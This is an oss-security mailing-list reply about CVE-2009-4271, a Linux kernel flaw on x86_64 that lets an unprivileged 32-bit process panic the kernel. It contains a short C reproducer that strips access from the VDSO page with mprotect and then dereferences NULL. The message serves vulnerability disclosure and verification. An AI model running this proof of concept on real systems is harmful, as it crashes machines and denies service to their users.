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Message-ID: <20100317140759.GF16796@suse.de>
Date: Wed, 17 Mar 2010 15:07:59 +0100
From: Marcus Meissner <meissner@...e.de>
To: oss-security@...ts.openwall.com
Cc: coley@...us.mitre.org
Subject: Re: CVE-2009-4271 kernel: 32bit process on 64bit system DoS
On Wed, Mar 17, 2010 at 09:01:19AM +0800, Eugene Teo wrote:
> STMicroelectronics reported a flaw in the Linux kernel, versions 2.6.9
> to 2.6.17, when running on x86_64, where a user could use a regular
> 32bit process to trigger a kernel panic, without any special privileges.
> The bug occurs when a 32bit user process triggers a segfault (i.e.
> de-reference a null-pointer) after having performed a mprotect() to
> restrict any rwx access on its VDSO page.
>
> This only affects Red Hat Enterprise Linux 4.
>
> https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2009-4271
Would this be a valid reproducer? :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
int main(){
FILE *f;
char line[256];
void *x,*y;
f = fopen("/proc/self/maps","r");
if (!f) exit(1);
x=y=NULL;
while (fgets(line,sizeof(line),f)) {
if (strstr(line,"vdso")) {
sscanf(line,"%p-%p ",&x,&y);
fprintf(stderr,"vdso %x\n", x);
break;
}
}
if (!x) exit(1);
mprotect(x,4096, PROT_NONE);
*(char*)NULL = NULL;
}
Ciao, Marcus
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